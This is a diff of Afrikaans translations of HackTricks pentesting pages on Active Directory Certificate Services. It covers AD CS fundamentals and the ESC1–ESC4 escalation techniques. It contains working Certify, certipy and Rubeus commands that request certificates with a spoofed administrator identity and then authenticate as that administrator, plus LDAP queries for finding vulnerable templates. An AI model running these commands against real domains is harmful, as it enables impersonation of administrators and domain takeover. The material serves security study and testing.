-- **Subject Alternative Names (SANs)** brei 'n sertifikaat se toepaslikheid uit na meerdere identiteite, wat kritiek is vir servers met verskeie domeine. Veiligheid in die uitreikproses is noodsaaklik om te voorkom dat aanvallers die SAN-spesifikasie manipuleer en sodoende tot identiteitsmisleiding lei.
+- **Subject Alternative Names (SANs)** brei 'n sertifikaat se toepaslikheid uit na meerdere identiteite, noodsaaklik vir bedieners met meerdere domeine. Veilige uitreikprosesse is van kardinale belang om te voorkom dat 'n aanvaller die SAN-spesifikasie manipuleer en impersonasie doen.
 
 ### Certificate Authorities (CAs) in Active Directory (AD)
 
-AD CS erken CA-sertifikate in 'n AD-forest deur aangewese houers, elk met 'n unieke rol:
+AD CS erken CA-sertifikate in 'n AD-bos deur aangewese houers, elk met unieke rolle:
 
-- Die **Certification Authorities** kontainer hou vertroude root CA-sertifikate.
+- **Certification Authorities** container hou vertroude root CA-sertifikate.
-- Die **Enrolment Services** kontainer bevat besonderhede van Enterprise CAs en hul sertifikaattemplates.
+- **Enrolment Services** container bevat besonderhede oor Enterprise CAs en hul sertifikaatsjablone.
-- Die **NTAuthCertificates** objek sluit CA-sertifikate in wat gemagtig is vir AD-verifikasie.
+- **NTAuthCertificates** objek sluit CA-sertifikate in wat gemagtig is vir AD-authentication.
-- Die **AIA (Authority Information Access)** kontainer fasiliteer sertifikaatkettingvalidasie met intermediêre en cross-CA sertifikate.
+- **AIA (Authority Information Access)** container fasiliteer sertifikaatkettingvalidasie met intermediate en cross CA-sertifikate.
 
-### Sertifikaatverkryging: Kliënt Sertifikaataanvraag-vloei
+### Sertifikaatverkryging: Kliënt Sertifikaataanvraagvloei
 
-1. Die aanvraagproses begin daarmee dat kliënte 'n Enterprise CA vind.
+1. Die proses begin met kliënte wat 'n Enterprise CA vind.
-2. 'n CSR word geskep en bevat 'n public key en ander besonderhede, nadat 'n publieke-privaat sleutelpaartjie gegenereer is.
+2. 'n CSR word geskep, wat 'n public key en ander besonderhede bevat, nadat 'n public-private sleutelpaar gegenereer is.
-3. Die CA evalueer die CSR teen beskikbare sertifikaattemplates en gee die sertifikaat uit gebaseer op die template se regte.
+3. Die CA beoordeel die CSR teen beskikbare sertifikaatsjablone en keur die sertifikaat uit op grond van die sjabloon se toestemmings.
-4. Na goedkeuring teken die CA die sertifikaat met sy privaat sleutel en stuur dit terug na die kliënt.
+4. Na goedkeuring teken die CA die sertifikaat met sy private sleutel en stuur dit terug aan die kliënt.
 
-### Sertifikaattemplates
+### Sertifikaatsjablone
 
-Binne AD gedefinieer, beskryf hierdie templates die instellings en regte vir die uitreiking van sertifikate, insluitend toegelate EKUs en registrasie- of wysigingsregte, wat kritiek is vir die bestuur van toegang tot sertifikaatdienste.
+Gedefinieer binne AD, beskryf hierdie sjablone die instellings en regte vir die uitreiking van sertifikate, insluitend toegelate EKUs en inskrywings- of wysigingsregte, krities vir die bestuur van toegang tot sertifikaatdienste.
 
 ## Sertifikaatinskrywing
 
-Die inskrywingsproses vir sertifikate word geïnisieer deur 'n administrateur wat **'n sertifikaattemplate skep**, wat dan deur 'n Enterprise Certificate Authority (CA) **gepubliseer** word. Dit maak die template beskikbaar vir kliëntinskrywing, 'n stap wat bereik word deur die template se naam by die `certificatetemplates` veld van 'n Active Directory-objek te voeg.
+Die inskrywingsproses vir sertifikate word geïnisieer deur 'n administrateur wat 'n sertifikaatsjabloon skep, wat dan deur 'n Enterprise Certificate Authority (CA) gepubliseer word. Dit maak die sjabloon beskikbaar vir kliëntinskrywing, 'n stap wat bereik word deur die sjabloonnaam by die `certificatetemplates` veld van 'n Active Directory-objek te voeg.
 
-Om 'n sertifikaat te versoek, moet **enrollment rights** toegeken word. Hierdie regte word gedefinieer deur security descriptors op die sertifikaattemplate en op die Enterprise CA self. Permissies moet in beide plekke toegeken word vir 'n suksesvolle aanvraag.
+Vir 'n kliënt om 'n sertifikaat aan te vra, moet **enrollment rights** toegekend word. Hierdie regte word bepaal deur sekuriteitsdescriptors op die sertifikaatsjabloon en op die Enterprise CA self. Permissies moet op beide plekke gegee word vir 'n aanvraag om suksesvol te wees.
 
-### Template Inskrywingsregte
+### Sjabloon Inskrywingsregte
 
-Hierdie regte word gespesifiseer deur Access Control Entries (ACEs), en beskryf permissies soos:
+Hierdie regte word gespesifiseer deur Toegangsbeheerinsette (Access Control Entries, ACEs), wat toestemmings soos volg beskryf:
 
 - **Certificate-Enrollment** en **Certificate-AutoEnrollment** regte, elk geassosieer met spesifieke GUIDs.
-- **ExtendedRights**, wat alle uitgebreide permissies toelaat.
+- **ExtendedRights**, wat alle uitgebreide toestemmings toelaat.
-- **FullControl/GenericAll**, wat volle beheer oor die template bied.
+- **FullControl/GenericAll**, wat volledige beheer oor die sjabloon bied.
 
 ### Enterprise CA Inskrywingsregte
 
-Die CA se regte word uiteengesit in sy security descriptor, toeganklik via die Certificate Authority bestuurkonsole. Sommige instellings laat selfs lae-bevoorregte gebruikers afgeleë toegang toe, wat 'n sekuriteitsrisiko kan wees.
+Die CA se regte word uiteengesit in sy sekuriteitsdescriptor, beskikbaar via die Certificate Authority-beheerconsole. Sommige instellings laat selfs lae-geprivilegieerde gebruikers afgeleë toegang toe, wat 'n sekuriteitsrisiko kan wees.
 
-### Addisionele Uitreikbeheer
+### Addisionele Uitreikbeheerders
 
-Sekere kontroles kan van toepassing wees, soos:
+Sekere beheerders kan van toepassing wees, soos:
 
-- **Manager Approval**: Plaas versoeke in 'n hangende toestand totdat goedgekeur deur 'n sertifikaatbestuurder.
+- **Manager Approval**: Plaas aansoeke in 'n hangende toestand totdat dit deur 'n sertifikaatbestuurder goedgekeur word.
 - **Enrolment Agents and Authorized Signatures**: Spesifiseer die aantal vereiste handtekeninge op 'n CSR en die nodige Application Policy OIDs.
 
-### Metodes om Sertifikate te Versoek
+### Metodes om Sertifikate aan te vra
 
-Sertifikate kan versoek word deur:
+Sertifikate kan aangevra word deur:
 
-1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), met gebruik van DCOM-intefaces.
+1. **Windows Client Certificate Enrollment Protocol** (MS-WCCE), met DCOM-koppelvlakke.
-2. **ICertPassage Remote Protocol** (MS-ICPR), deur named pipes of TCP/IP.
+2. **ICertPassage Remote Protocol** (MS-ICPR), via named pipes of TCP/IP.
-3. Die **certificate enrollment web interface**, met die Certificate Authority Web Enrollment-rol geïnstalleer.
+3. Die **certificate enrollment web interface**, met die Certificate Authority Web Enrollment rol geïnstalleer.
 4. Die **Certificate Enrollment Service** (CES), saam met die Certificate Enrollment Policy (CEP) diens.
-5. Die **Network Device Enrollment Service** (NDES) vir netwerktoestelle, met gebruik van die Simple Certificate Enrollment Protocol (SCEP).
+5. Die **Network Device Enrollment Service** (NDES) vir netwerktoestelle, wat die Simple Certificate Enrollment Protocol (SCEP) gebruik.
 
-Windows gebruikers kan sertifikate ook versoek via die GUI (`certmgr.msc` of `certlm.msc`) of reëllyninstrumente (`certreq.exe` of PowerShell se `Get-Certificate` opdrag).
+Windows-gebruikers kan ook sertifikate versoek via die GUI (`certmgr.msc` of `certlm.msc`) of opdraglyn-instrumente (`certreq.exe` of PowerShell se `Get-Certificate` opdrag).
 ```bash
 # Example of requesting a certificate using PowerShell
 Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
 ```
-## Sertifikaatverifikasie
+## Sertifikaat-outentisering
 
-Active Directory (AD) ondersteun sertifikaatverifikasie, hoofsaaklik deur die **Kerberos** en **Secure Channel (Schannel)** protokolle te gebruik.
+Active Directory (AD) ondersteun sertifikaat-outentisering, hoofsaaklik deur gebruik te maak van **Kerberos** en **Secure Channel (Schannel)** protokolle.
 
-### Kerberos-verifikasieproses
+### Kerberos-outentiseringsproses
 
-In die Kerberos-verifikasieproses word 'n gebruiker se versoek vir 'n Ticket Granting Ticket (TGT) geteken met die **privaat sleutel** van die gebruiker se sertifikaat. Hierdie versoek ondergaan verskeie kontrole deur die domeinbeheerder, insluitend die sertifikaat se **geldigheid**, **pad**, en **herroepingsstatus**. Kontroles sluit ook in die verifiëring dat die sertifikaat van 'n betroubare bron afkomstig is en die bevestiging van die uitreiker se teenwoordigheid in die **NTAUTH certificate store**. Suksesvolle kontroles lei tot die uitreiking van 'n TGT. Die **`NTAuthCertificates`**-object in AD, gevind by:
+In die Kerberos-outentiseringsproses word 'n gebruiker se versoek vir 'n Ticket Granting Ticket (TGT) onderteken met die **private key** van die gebruiker se sertifikaat. Hierdie versoek deurgaan verskeie validerings deur die domain controller, insluitend die sertifikaat se **geldigheid**, **pad**, en **herroepingsstatus**. Validerings sluit ook in die verifikasie dat die sertifikaat van 'n betroubare bron kom en die bevestiging van die uitreiker se teenwoordigheid in die **NTAUTH certificate store**. Suksesvolle validerings lei tot die uitreiking van 'n TGT. Die **`NTAuthCertificates`** object in AD, gevind by:
 ```bash
 CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
 ```
-is sentraal vir die vestiging van vertroue vir sertifikaatverifikasie.
+is sentraal in die vestiging van vertroue vir sertifikaatautentisering.
 
-### Secure Channel (Schannel) Verifikasie
+### Secure Channel (Schannel) Autentisering
 
-Schannel fasiliteer veilige TLS/SSL-verbindinge, waar tydens 'n handshake die kliënt 'n sertifikaat voorlê wat, indien suksesvol gevalideer, toegang magtig. Die kartysering van 'n sertifikaat na 'n AD-rekening kan Kerberos’s **S4U2Self** funksie of die sertifikaat se **Subject Alternative Name (SAN)** betrek, onder andere metodes.
+Schannel maak veilige TLS/SSL-verbindinge moontlik, waar tydens 'n handshake die kliënt 'n sertifikaat voorlê wat, indien suksesvol gevalideer, toegang magtig. Die kartering van 'n sertifikaat na 'n AD-rekening kan Kerberos se **S4U2Self** funksie of die sertifikaat se **Subject Alternative Name (SAN)** insluit, onder andere metodes.
 
-### AD Sertifikaatdienste-enumerasie
+### AD Sertifikaatdienste Enumerasie
 
-AD se sertifikaatdienste kan deur LDAP-navrae gedenumeriseer word, wat inligting oor **Enterprise Certificate Authorities (CAs)** en hul konfigurasies openbaar. Dit is toeganklik vir enige domein-geauthentiseerde gebruiker sonder spesiale voorregte. Gereedskap soos **[Certify](https://github.com/GhostPack/Certify)** en **[Certipy](https://github.com/ly4k/Certipy)** word gebruik vir enumerasie en kwesbaarheidsevaluering in AD CS-omgewings.
+AD se sertifikaatdienste kan deur LDAP-navrae opgenoem word, wat inligting oor **Enterprise Sertifikaatautoriteite (CAs)** en hul konfigurasies openbaar. Dit is toeganklik vir enige domeingeverifieerde gebruiker sonder spesiale voorregte. Gereedskap soos **[Certify](https://github.com/GhostPack/Certify)** en **[Certipy](https://github.com/ly4k/Certipy)** word gebruik vir enumerasie en kwesbaarheidsassessering in AD CS omgewings.
 
-Kommando's vir die gebruik van hierdie gereedskap sluit in:
+Opdragte vir die gebruik van hierdie gereedskap sluit in:
 ```bash
 # Enumerate trusted root CA certificates, Enterprise CAs and HTTP enrollment endpoints
 # Useful flags: /domain, /path, /hideAdmins, /showAllPermissions, /skipWebServiceChecks

src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md

@@ -1,44 +1,44 @@
-# AD CS Domein Eskalasie
+# AD CS Domain Escalation
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 
-**Dit is 'n samevatting van die eskalasie-tegniekafdelings van die artikels:**
+**Dit is 'n samevatting van die escalation technique-afdelings van die plasings:**
 
 - [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
 - [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
 - [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
 
-## Verkeerd gekonfigureerde sertifikaat-sjablone - ESC1
+## Verkeerd gekonfigureerde Sertifikaat-sjablone - ESC1
 
 ### Verduideliking
 
-### Verduideliking van Verkeerd Gekonfigureerde Sertifikaat-sjablone - ESC1
+### Verduideliking van Verkeerd gekonfigureerde Sertifikaat-sjablone - ESC1
 
-- **Aanmeldingsregte word deur die Enterprise CA aan lae-privilegie-gebruikers toegekend.**
+- **Inskrywingsregte word deur die Enterprise CA aan laag-privilege gebruikers toegewys.**
-- **Bestuurdersgoedkeuring is nie vereis nie.**
+- **Goedkeuring deur 'n bestuurder is nie vereis nie.**
 - **Geen handtekeninge van gemagtigde personeel is nodig nie.**
-- **Sekuriteitsbeskrywers op sertifikaat-sjablone is te ruim, wat lae-privilegie-gebruikers toelaat om aanmeldingsregte te bekom.**
+- **Sekuriteitsbeskrywings op sertifikaat-sjablone is te toegeeflik, wat laag-privilege gebruikers toelaat om inskrywingsregte te bekom.**
-- **Sertifikaat-sjablone is gekonfigureer om EKU's te definieer wat verifikasie vergemaklik:**
+- **Sertifikaat-sjablone is gekonfigureer om EKUs te definieer wat verifikasie fasiliteer:**
-- Extended Key Usage (EKU) identifiers soos Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), of geen EKU (SubCA) is ingesluit.
+- Extended Key Usage (EKU) identifiers such as Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA) are included.
-- **Die vermoë vir aansoekers om 'n subjectAltName in die Certificate Signing Request (CSR) in te sluit, word deur die sjabloon toegelaat:**
+- **Die vermoë vir verzoekers om 'n subjectAltName in die Certificate Signing Request (CSR) in te sluit, word deur die sjabloon toegelaat:**
-- Active Directory (AD) prioritiseer die subjectAltName (SAN) in 'n sertifikaat vir identiteitsverifikasie indien dit teenwoordig is. Dit beteken dat deur die SAN in 'n CSR te spesifiseer, 'n sertifikaat aangevra kan word om enige gebruiker te laak (bv. 'n domain administrator) te impersonate. Of 'n SAN deur die aansoeker gespesifiseer kan word, word aangedui in die sertifikaat-sjabloon se AD-voorwerp deur die `mspki-certificate-name-flag` eienskap. Hierdie eienskap is 'n bitmasker, en die teenwoordigheid van die `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` vlag maak dit moontlik dat die aansoeker die SAN kan spesifiseer.
+- Die Active Directory (AD) prioritiseer die subjectAltName (SAN) in 'n sertifikaat vir identiteitkontrole indien dit teenwoordig is. Dit beteken dat deur die SAN in 'n CSR te spesifiseer, 'n sertifikaat aangevra kan word om enige gebruiker te imiteer (bv. 'n domeinadministrateur). Of 'n SAN deur die aansoeker gespesifiseer mag word, word aangedui in die sertifikaat-sjabloon se AD-objek deur die `mspki-certificate-name-flag` eienskap. Hierdie eienskap is 'n bitmasker, en die teenwoordigheid van die `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` vlag laat die aansoeker toe om die SAN te spesifiseer.
 
 > [!CAUTION]
-> Die konfigurering soos uiteengesit maak dit moontlik vir lae-privilegie-gebruikers om sertifikate met enige gekose SAN aan te vra, wat verifikasie as enige domein-prinsipaal deur Kerberos of SChannel moontlik maak.
+> Die gekonfigureerde opset laat laag-privilege gebruikers toe om sertifikate met enige SAN van keuse aan te vra, wat verifikasie as enige domein-prinsipaal deur Kerberos of SChannel moontlik maak.
 
-Hierdie funksie word soms geaktiveer om die on-the-fly generering van HTTPS- of host-sertifikate deur produkte of ontplooiingsdienste te ondersteun, of weens 'n gebrek aan begrip.
+Hierdie funksie is soms geaktiveer om die on-the-fly generering van HTTPS- of gasheersertifikate deur produkte of deployment-dienste te ondersteun, of as gevolg van 'n gebrek aan begrip.
 
-Daar word opgemerk dat die skep van 'n sertifikaat met hierdie opsie 'n waarskuwing veroorsaak, wat nie die geval is wanneer 'n bestaande sertifikaat-sjabloon (soos die `WebServer` sjabloon, wat die `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` geaktiveer het) gedupliseer en dan gewysig word om 'n authentication OID in te sluit nie.
+Daar word opgemerk dat die skep van 'n sertifikaat met hierdie opsie 'n waarskuwing veroorsaak, wat nie die geval is wanneer 'n bestaande sertifikaat-sjabloon (soos die `WebServer` sjabloon, wat `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` geaktiveer het) gedupliseer en dan gewysig word om 'n authentication OID in te sluit nie.
 
 ### Misbruik
 
-Om **kwesbare sertifikaat-sjablone te vind** kan jy hardloop:
+Om **kwetsbare sertifikaat-sjablone te vind** kan jy die volgende uitvoer:
 ```bash
 Certify.exe find /vulnerable
 certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
 ```
-Om **hierdie kwesbaarheid te misbruik om 'n administrateur na te boots** kan 'n mens die volgende uitvoer:
+Om **hierdie kwesbaarheid te misbruik om 'n administrateur na te boots** kon iemand die volgende uitvoer:
 ```bash
 # Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
 Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
@@ -54,36 +54,36 @@ Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:ad
 certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
 -template 'ESC1' -upn 'administrator@corp.local'
 ```
-Dan kan jy die gegenereerde **sertifikaat na `.pfx`** formaat omskep en dit weer gebruik om te **authenticate using Rubeus or certipy**:
+Dan kan jy die gegenereerde **sertifikaat na `.pfx`**-formaat omskakel en dit weer gebruik om te **authentiseer met Rubeus of certipy**:
 ```bash
 Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
 certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
 ```
-Die Windows-binaries "Certreq.exe" & "Certutil.exe" kan gebruik word om die PFX te genereer: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
+Die Windows binaries "Certreq.exe" & "Certutil.exe" kan gebruik word om die PFX te genereer: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
 
-Die enumerasie van sertifikaat-sjablone binne die AD Forest se konfigurasieskema, veral dié wat nie goedkeuring of ondertekeninge vereis nie, wat 'n Client Authentication of Smart Card Logon EKU het, en met die `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` vlag geaktiveer, kan uitgevoer word deur die volgende LDAP-query uit te voer:
+Die enumerasie van sertifikaat-sjablone binne die AD Forest se konfigurasieskema, spesifiek dié wat nie goedkeuring of handtekeninge vereis nie, wat 'n Client Authentication of Smart Card Logon EKU het, en met die `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` vlag aangeskakel is, kan uitgevoer word deur die volgende LDAP-query uit te voer:
 ```
 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
 ```
-## Verkeerd geconfigureerde sertifikaatsjablone - ESC2
+## Verkeerd gekonfigureerde sertifikaat-sjablone - ESC2
 
-### Verklaring
+### Verduideliking
 
 Die tweede misbruikscenario is 'n variasie van die eerste:
 
-1. Registreringsregte word deur die Enterprise CA aan lae-bevoegde gebruikers toegewys.
+1. Inskrywingsregte word deur die Enterprise CA aan gebruikers met lae regte verleen.
 2. Die vereiste vir bestuurdergoedkeuring is gedeaktiveer.
-3. Die behoefte aan gemagtigde handtekeninge word weggelaat.
+3. Die behoefte aan gemagtigde handtekeninge is weggelaat.
-4. 'n Te toegeeflike security descriptor op die sertifikaatsjabloon verleen die regte om sertifikate te registreer aan lae-bevoegde gebruikers.
+4. 'n Te permissiewe sekuriteitsbeskrywer op die sertifikaat-sjabloon verleen sertifikaatinskrywingregte aan gebruikers met lae regte.
-5. **Die sertifikaatsjabloon is gedefinieer om die Any Purpose EKU in te sluit of geen EKU nie.**
+5. **Die sertifikaat-sjabloon is gedefinieer om die Any Purpose EKU in te sluit of geen EKU nie.**
 
-Die Any Purpose EKU stel 'n aanvaller in staat om 'n sertifikaat vir enige doel te bekom, insluitend kliëntverifikasie, bedienerverifikasie, kodeondertekening, ens. Dieselfde tegniek wat vir ESC3 gebruik is, kan aangewend word om hierdie scenario te misbruik.
+Die **Any Purpose EKU** laat 'n aanvaller toe om 'n sertifikaat te bekom vir **any purpose**, insluitend client authentication, server authentication, code signing, ens. Dieselfde **tegniek wat vir ESC3 gebruik word** kan aangewend word om hierdie scenario uit te buit.
 
-Sertifikate sonder EKUs, wat as subordinate CA-sertifikate optree, kan vir enige doel uitgebuit word en kan ook gebruik word om nuwe sertifikate te onderteken. Daarom kan 'n aanvaller ewekansige EKUs of velde in die nuwe sertifikate spesifiseer deur 'n subordinate CA-sertifikaat te gebruik.
+Sertifikate met **no EKUs**, wat as subordinate CA-sertifikate optree, kan vir **any purpose** uitgebuit word en kan **ook gebruik word om nuwe sertifikate te teken**. Daarom kan 'n aanvaller arbitrêre EKU's of velde in die nuwe sertifikate spesifiseer deur 'n subordinate CA-sertifikaat te gebruik.
 
-Nuwe sertifikate wat geskep is vir domeinverifikasie sal egter nie funksioneer nie indien die subordinate CA nie deur die `NTAuthCertificates`-object vertrou word nie, wat die verstekinstelling is. Nietemin kan 'n aanvaller steeds nuwe sertifikate skep met enige EKU en ewekansige sertifikaatwaardes. Hierdie kan potensieel misbruik word vir 'n wye reeks doeleindes (bv. kodeondertekening, bedienerverifikasie, ens.) en kan beduidende implikasies hê vir ander toepassings in die netwerk soos SAML, AD FS of IPSec.
+Nuwe sertifikate wat vir **domain authentication** geskep word, sal egter nie werk nie as die subordinate CA nie deur die **`NTAuthCertificates`**-objek vertrou word nie, wat die verstekinstelling is. Nietemin kan 'n aanvaller steeds **nuwe sertifikate met any EKU** en arbitrêre sertifikaatwaardes skep. Hierdie sertifikate kan moontlik vir 'n wye reeks doeleindes **misbruik** word (bv. code signing, server authentication, ens.) en kan beduidende gevolge hê vir ander toepassings in die netwerk soos SAML, AD FS of IPSec.
 
-Om sjablone wat by hierdie scenario pas binne die AD Forest se konfigurasieskema te lys, kan die volgende LDAP query uitgevoer word:
+Om sjablone wat by hierdie scenario pas binne die AD Forest se konfigurasieskema te lys, kan die volgende LDAP-query uitgevoer word:
 ```
 (&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))
 ```
@@ -91,26 +91,26 @@ Om sjablone wat by hierdie scenario pas binne die AD Forest se konfigurasieskema
 
 ### Verduideliking
 
-Hierdie scenario is soos die eerste en tweede, maar **misbruik** 'n **ander EKU** (Certificate Request Agent) en **2 verskillende sjablone** (daarom het dit 2 stelle vereistes),
+Hierdie scenario is soortgelyk aan die eerste en tweede, maar **misbruik** 'n **ander EKU** (Certificate Request Agent) en **2 verskillende sjablone** (daarom het dit 2 stelle vereistes),
 
-Die **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), bekend as **Enrollment Agent** in Microsoft-dokumentasie, laat 'n prinsipaal toe om vir 'n **sertifikaat** te **registreer** namens 'n ander gebruiker.
+Die **Certificate Request Agent EKU** (OID 1.3.6.1.4.1.311.20.2.1), in Microsoft-dokumentasie bekend as **Enrollment Agent**, laat 'n principal toe om vir 'n **sertifikaat** aansoek te doen namens 'n ander gebruiker.
 
-Die **“enrollment agent”** skryf in op so 'n **sjabloon** en gebruik die resulterende **sertifikaat om 'n CSR namens die ander gebruiker saam te onderteken**. Dit **stuur** dan die **gesamentlik-ondertekende CSR** na die CA, skryf in op 'n **sjabloon** wat **“enroll on behalf of”** toelaat, en die CA reageer met 'n **sertifikaat wat aan die “ander” gebruiker behoort**.
+Die **“enrollment agent”** doen aansoek in so 'n **sjabloon** en gebruik die gevolglike **sertifikaat om 'n CSR namens die ander gebruiker mede-onderteken**. Dit stuur dan die **mede-ondertekende CSR** na die CA, doen aansoek in 'n **sjabloon** wat **"enroll on behalf of"** toelaat, en die CA reageer met 'n **sertifikaat wat aan die “ander” gebruiker behoort**.
 
-**Requirements 1:**
+**Vereistes 1:**
 
-- Inskrywingsregte word deur die Enterprise CA aan gebruikers met lae bevoegdhede gegee.
+- Registrasieregte word deur die Enterprise CA aan gebruikers met lae regte toegeken.
-- Die vereiste vir bestuurdergoedkeuring is weggelaat.
+- Die vereiste vir bestuurdergoedkeuring word weggelaat.
 - Geen vereiste vir gemagtigde handtekeninge nie.
-- Die sekuriteitsdescriptor van die sertifikaatsjabloon is te permissief en verleen inskrywingsregte aan gebruikers met lae bevoegdhede.
+- Die sekuriteitsdeskriptor van die sertifikaatsjabloon is te permissief en verleen registrasieregte aan gebruikers met lae regte.
-- Die sertifikaatsjabloon sluit die Certificate Request Agent EKU in, wat die aanvraag van ander sertifikaatsjablone namens ander prinsipale moontlik maak.
+- Die sertifikaatsjabloon sluit die Certificate Request Agent EKU in, wat die versoek van ander sertifikaatsjablone namens ander principals moontlik maak.
 
-**Requirements 2:**
+**Vereistes 2:**
 
-- Die Enterprise CA verleen inskrywingsregte aan gebruikers met lae bevoegdhede.
+- Die Enterprise CA verleen registrasieregte aan gebruikers met lae regte.
 - Bestuurdergoedkeuring word omseil.
-- Die sjabloon se skemaweergawe is óf 1 óf hoër as 2, en dit spesifiseer 'n Application Policy Issuance Requirement wat die Certificate Request Agent EKU vereis.
+- Die sjabloon se skemasweergawe is óf 1 óf hoër as 2, en dit spesifiseer 'n Application Policy Issuance Requirement wat die Certificate Request Agent EKU vereis.
-- 'n EKU wat in die sertifikaatsjabloon gedefinieer is, laat domeinverifikasie toe.
+- 'n EKU wat in die sertifikaatsjabloon gedefinieer is, maak domeinauthentisering moontlik.
 - Beperkings vir enrollment agents word nie op die CA toegepas nie.
 
 ### Misbruik
@@ -129,25 +129,25 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
 # Use Rubeus with the certificate to authenticate as the other user
 Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
 ```
-Die **gebruikers** wat toegelaat word om 'n **enrollment agent certificate** te **verkry**, die templates waarin inskrywings**agents** toegelaat word om in te skryf, en die **rekeninge** namens wie die enrollment agent kan optree, kan deur enterprise CAs beperk word. Dit word gedoen deur die `certsrc.msc` **snap-in** oop te maak, **regsklik op die CA**, **klik Properties**, en dan **navigeer** na die “Enrollment Agents” tab.
+Die **gebruikers** wat toegelaat word om 'n **enrollment agent certificate** te **verkry**, die templates waarin **enrollment agents** toegelaat word om te registreer, en die **rekeninge** namens wie die enrollment agent mag optree, kan deur enterprise CAs beperk word. Dit word bereik deur die `certsrc.msc` **snap-in** oop te maak, **regsklik** op die CA te doen, **klik Properties**, en dan te **navigeer** na die “Enrollment Agents” tab.
 
-Dit is egter opgemerk dat die **default** instelling vir CAs “**Do not restrict enrollment agents**.” is. Wanneer die beperking op enrollment agents deur administrateurs aangeskakel word deur dit op “Restrict enrollment agents” te stel, bly die standaardkonfigurasie uiters permissief. Dit gee **Everyone** toegang om in alle templates as enigiemand in te skryf.
+Dit is egter opgemerk dat die **default** instelling vir CAs “**Do not restrict enrollment agents**.” is. Wanneer die beperking op enrollment agents deur administrateurs aangeskakel word deur dit op “Restrict enrollment agents” te stel, bly die verstekkonfigurasie uiters permissief. Dit gee **Everyone** toegang om op alle templates as enigiemand te registreer.
 
-## Kwesbare Sertifikaat Sjabloon Toegangsbeheer - ESC4
+## Kwesbare Toegangsbeheer vir Sertifikaatsjablone - ESC4
 
 ### **Verduideliking**
 
-Die **security descriptor** op **certificate templates** bepaal die **permissions** wat spesifieke **AD principals** rakende die sjabloon het.
+Die **security descriptor** op **certificate templates** definieer die **permissions** wat spesifieke **AD principals** het ten opsigte van die template.
 
-Indien 'n **attacker** die nodige **permissions** het om 'n **template** te **wysig** en enige **uitbuitbare wankonfigurasies** wat in **vorige afdelings** uiteengesit is te **instel**, kan privilege escalation gefasiliteer word.
+As 'n **aanvaller** die vereiste **permissions** besit om 'n **template** te **wysig** en enige **uitbuitbare misconfigurasies** uiteengesit in vorige afdelings te **instel**, kan privilege escalation gefasiliteer word.
 
-Noemenswaardige permissions wat op certificate templates van toepassing is sluit in:
+Noemenswaardige permissions wat op certificate templates van toepassing is, sluit in:
 
-- **Owner:** Gee implisiete beheer oor die objek, en laat die wysiging van enige eienskappe toe.
+- **Owner:** Gee implisiete beheer oor die objek, wat toelaat dat enige attributte gewysig word.
-- **FullControl:** Bied volle gesag oor die objek, insluitend die vermoë om enige eienskappe te wysig.
+- **FullControl:** Bied volledige gesag oor die objek, insluitend die vermoë om enige attributte te verander.
-- **WriteOwner:** Laat toe dat die eienaar van die objek na 'n principal onder die beheer van die attacker verander word.
+- **WriteOwner:** Laat toe dat die eienaar van die objek verander word na 'n principal onder die beheer van die aanvaller.
-- **WriteDacl:** Laat toe dat toegangskontroles aangepas word, wat moontlik 'n attacker FullControl kan gee.
+- **WriteDacl:** Maak voorsiening vir die aanpassing van toegangbeheer, wat potensieel aan 'n aanvaller FullControl kan gee.
-- **WriteProperty:** Gemagtig die wysiging van enige objekeienskappe.
